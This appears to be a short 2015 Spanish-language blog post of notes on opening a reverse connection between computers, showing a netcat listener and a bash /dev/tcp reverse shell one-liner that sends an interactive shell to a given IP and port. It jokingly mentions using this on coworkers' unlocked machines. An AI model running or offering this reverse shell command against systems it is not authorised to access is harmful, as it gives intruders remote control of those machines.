Pages

Ads 468x60px

miércoles, 16 de diciembre de 2015

Conexión reversa entre equipos (apuntes)



Seguro que todos conocéis el uso de netcat y para lo que sirve ( a parte de "trolear" a los compañeros que se dejan el equipo en la oficina sin boquear).

Hoy os traigo de mano de un compañero otra herramienta para hacer lo mismo.

Se trata de bash, que como todos sabéis viene en todas las distribuciones Linux, con ella podemos hacer una conexión reversa hacia otro equipo como con netcat. 

Para usarlo, escribimos nc -l y elpuerto en el pc al que queremos conectar: 


     nc -l 12345 

De este modo queda ese equipo a la escucha en el puerto 12345. 

Desde el equipo que queremos realizar la conexión reversa escribimos: 

     bash -i >& /dev/tcp/direccion_IP/puerto 0>&1 

     bash -i >& /dev/tcp/192.168.1.35/12345 0>&1 

Lo que hace es mandar una shell a la dirección especificada con el puerto que le digamos, en este caso con el 12345.  

De esta manera podeis conectar con un equipo tanto Linux como Windows, ya que netcat funciona en Windows (y creo que hasta el Mac).



Alh Kÿtrån

Creative Commons Licence
1Gb De informacion by Roberto García Amoriz is licensed under a Creative Commons Attribution-NonCommercial 3.0 Unported License.
Based on a work at http://www.1gbdeinformacion.com/.
Permissions beyond the scope of this license may be available at http://www.1gbdeinformacion.com/.

Perfil profesional en Linkedin

 
Blogger Templates